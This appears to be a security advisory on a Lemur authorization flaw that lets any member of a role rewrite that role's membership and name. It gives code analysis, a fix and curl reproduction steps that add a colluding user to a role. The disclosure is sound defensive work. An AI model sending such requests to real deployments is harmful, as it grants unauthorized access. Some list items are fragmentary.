The PUT /api/1/roles/<id> handler in lemur/roles/views.py gates only on RoleMemberPermission(role_id).can(), which is satisfied for any user who is already a member of the target role. The handler then passes data["users"] and data["name"] directly to service.update(), permitting any role member to rewrite that role's membership list and name. The companion DELETE handler on the same resource is correctly gated by @admin_permission.require; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.
lemur/roles/views.py:298:
permission = RoleMemberPermission(role_id)
if permission.can():
return service.update(
role_id, data["name"], data.get("description"), data.get("users")
)
return dict(message="You are not authorized to modify this role."), 403
@admin_permission.require(http_exception=403)
def delete(self, role_id):
...
lemur/auth/permissions.py:56:
class RoleMemberPermission(Permission):
def __init__(self, role_id):
needs = [RoleNeed("admin"), RoleMemberNeed(role_id)]
super().__init__(*needs)
flask_principal.Permission.allows() is OR-semantic across needs, so RoleMemberPermission(role_id).can() returns True if the caller is either an admin or a member of role_id. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.
| Method | Path | Source |
|---|---|---|
| PUT | /api/1/roles/<id> | lemur/roles/views.py:298 |
A user who is a member of role X can:
unique=True constraint on Role.name and by strict equality in User.is_admin, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.Add @admin_permission.require(http_exception=403) to Roles.put, mirroring the existing decorator on Roles.delete:
@admin_permission.require(http_exception=403)
def put(self, role_id, data=None):
...
If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role ownership rather than membership, and the name field should be excluded from the mutable schema on that delegated path.
admin, and two non-admin users alice and bob. Add alice to the built-in operator role; leave bob with no roles or with read-only only.Authenticate as alice and capture the JWT:
curl -X POST https://lemur.local/api/1/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"alice","password":"<alice_pw>"}'
Confirm the initial state - bob is not a member of operator:
curl https://lemur.local/api/1/roles?filter=name;operator \
-H "Authorization: Bearer <admin_jwt>"
# observe: alice present in users list, bob absent
As alice, send a PUT that injects bob into the operator role:
curl -X PUT https://lemur.local/api/1/roles/<operator_role_id> \
-H "Authorization: Bearer <alice_jwt>" \
-H "Content-Type: application/json" \
-d '{
"name": "operator",
"description": "modified by alice",
"users": [{"id": <alice_id>}, {"id": <bob_id>}]
}'
# observe: HTTP 200
Confirm bob is now a member of operator:
curl https://lemur.local/api/1/roles?filter=name;operator \
-H "Authorization: Bearer <admin_jwt>"
# observe: bob now present in users list
Step 4 succeeds despite alice not being an admin. The same handler also accepts a name field; substituting "name": "operator_v2" in step 4 renames the role, demonstrating the second variant of the bug.
{
"nvd_published_at": null,
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"severity": "MODERATE",
"github_reviewed_at": "2026-06-25T22:01:18Z"
}